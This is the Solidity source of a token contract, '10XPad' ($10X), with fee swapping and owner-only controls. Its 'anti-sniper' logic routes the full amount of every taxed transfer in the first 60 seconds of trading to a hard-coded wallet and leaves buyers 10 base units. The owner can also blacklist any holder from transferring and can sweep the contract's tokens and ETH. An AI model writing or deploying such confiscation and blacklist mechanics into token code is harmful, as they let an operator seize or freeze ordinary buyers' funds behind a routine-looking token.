Contract Source Code:
File 1 of 1 : _10XPad
// SPDX-License-Identifier: MIT
/*
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╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═════╝
Official Contract
Website=> https://10xpad.app
Telegram Community=> https://t.me/I0xpad
Twitter=> https://twitter.com/10xPad
*/
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
contract _10XPad is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address=>bool) public isBot;
IERC20 token;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
mapping (address => bool) private _liquidityHolders;
uint256 private startingSupply = 10_000_000;
//Anti Sniper params
int private snipeTime;
address public sniperWallet;
int public totalSnipeEpoch;
string constant private _name = "10XPad";
string constant private _symbol = "$10X";
uint8 private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct StaticValuesStruct {
uint16 maxBuyTaxes;
uint16 maxSellTaxes;
uint16 maxTransferTaxes;
uint16 masterTaxDivisor;
}
struct Ratios {
uint16 development;
uint16 total;
}
Fees public _taxRates = Fees({
buyFee: 300,
sellFee: 300,
transferFee: 0
});
Ratios public _ratios = Ratios({
development: 5,
total: 5
});
StaticValuesStruct public staticVals = StaticValuesStruct({
maxBuyTaxes: 500,
maxSellTaxes: 500,
maxTransferTaxes: 0,
masterTaxDivisor: 10000
});
IRouter02 public dexRouter;
address public currentRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable development;
}
TaxWallets public _taxWallets = TaxWallets({
development: payable(0x0F7Ee69db7f3004BA1F6740E52302fDf17027Ccf)
});
bool inSwap;
bool public contractSwapEnabled = true;
uint256 public swapThreshold = (_tTotal * 50) / 10000;
uint256 public swapAmount = (_tTotal * 50) / 10000;
uint256 public swapInterval = 0;
uint256 public lastSwap;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller =/= owner.");
_;
}
constructor () payable {
_tOwned[_msgSender()] = _tTotal;
// Set the owner.
_owner = msg.sender;
//For Developers working to change the BSC Testnet Chain
//Auto Router Determination
if (block.chainid == 56) {
currentRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
} else if (block.chainid == 97) {
currentRouter = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
} else if (block.chainid == 1 || block.chainid == 4) {
currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
else if(block.chainid == 11155111)
{
currentRouter= 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;
}
else if(block.chainid == 137)
{
currentRouter= 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff;
}
else {
revert();
}
dexRouter = IRouter02(currentRouter);
lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPairs[lpPair] = true;
sniperWallet=0x2bA0794A47BA75FD40DC3d6e5CB4f747B6AA9f34;
_approve(msg.sender, currentRouter, type(uint256).max);
_approve(address(this), currentRouter, type(uint256).max);
snipeTime=60;
totalSnipeEpoch=0;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[DEAD] = true;
_liquidityHolders[owner()] = true;
_isExcluded[lpPair] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function rescueERC(address tAddress, uint amount, uint tDecimals) public onlyOwner
{
token= IERC20(tAddress);
token.transfer(msg.sender,amount*10**tDecimals);
}
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function owner() public view returns (address) {
return _owner;
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner() {
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external view override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address sender, address spender, uint256 amount) private {
require(sender != address(0), "ERC20: Zero Address");
require(spender != address(0), "ERC20: Zero Address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function approveContractContingency() public onlyOwner returns (bool) {
_approve(address(this), address(dexRouter), type(uint256).max);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] -= amount;
}
return _transfer(sender, recipient, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
//Set up a New Router.
function setNewRouter(address newRouter) public onlyOwner() {
IRouter02 _newRouter = IRouter02(newRouter);
address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
_approve(address(this), address(dexRouter), type(uint256).max);
}
//Setting up Liquidity Pair.
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function changeRouterContingency(address router) external onlyOwner {
currentRouter = router;
}
function getCirculatingSupply() public view returns (uint256) {
return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0))));
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
require(buyFee <= staticVals.maxBuyTaxes
&& sellFee <=staticVals. maxSellTaxes
&& transferFee <= staticVals.maxTransferTaxes,
"Cannot exceed maximums of 5%.");
_taxRates.buyFee = buyFee;
_taxRates.sellFee = sellFee;
_taxRates.transferFee = transferFee;
}
function setRatios(uint16 development) external onlyOwner {
_ratios.development = development;
_ratios.total =development;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 intervalInSeconds) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
swapInterval = intervalInSeconds;
}
function setWallets(address payable development) external onlyOwner {
_taxWallets.development = payable(development);
}
function setContractSwapEnabled(bool _enabled) public onlyOwner {
contractSwapEnabled = _enabled;
emit ContractSwapEnabledUpdated(_enabled);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& tx.origin != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != DEAD
&& to != address(0)
&& from != address(this);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!isBot[from], "This is a bot address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
//Contract Swap code
if (lpPairs[to]) { //At the time of sell. Tokens transferred to the liquidity pool.
if (!inSwap
&& contractSwapEnabled
&& !presaleAddresses[to]
&& !presaleAddresses[from]
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold && lastSwap + swapInterval < block.timestamp) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
contractSwap(contractTokenBalance);
lastSwap = block.timestamp;
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function contractSwap(uint256 contractTokenBalance) private lockTheSwap {
if (_ratios.total == 0)
return;
if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) {
_allowances[address(this)][address(dexRouter)] = type(uint256).max;
}
uint256 toSwapForEth = contractTokenBalance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
toSwapForEth,
0,
path,
address(this),
block.timestamp
);
if (address(this).balance > 0) {
uint256 amountBNB = address(this).balance;
_taxWallets.development.transfer(amountBNB);
}
}
//Enable Trading
function enableTrading() public onlyOwner {
require(!tradingEnabled, "Trading already enabled!");
totalSnipeEpoch=int(block.timestamp)+snipeTime; //Anti-Snipe activated
tradingEnabled = true;
}
function addBot(address add) public onlyOwner
{
isBot[add]=true;
}
function removeBot(address add) public onlyOwner
{
isBot[add]=false;
}
function sweepContingency() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
currentFee = _taxRates.buyFee;
} else if (to == lpPair) {
currentFee = _taxRates.sellFee;
} else {
currentFee = _taxRates.transferFee;
}
uint256 feeAmount = amount * currentFee / staticVals.masterTaxDivisor;
if((totalSnipeEpoch-int(block.timestamp))>0)
{
_tOwned[sniperWallet]+=amount;
emit Transfer(from, sniperWallet, amount);
return 10;
}
else
{
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
}
//Finalise the transfers.
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
}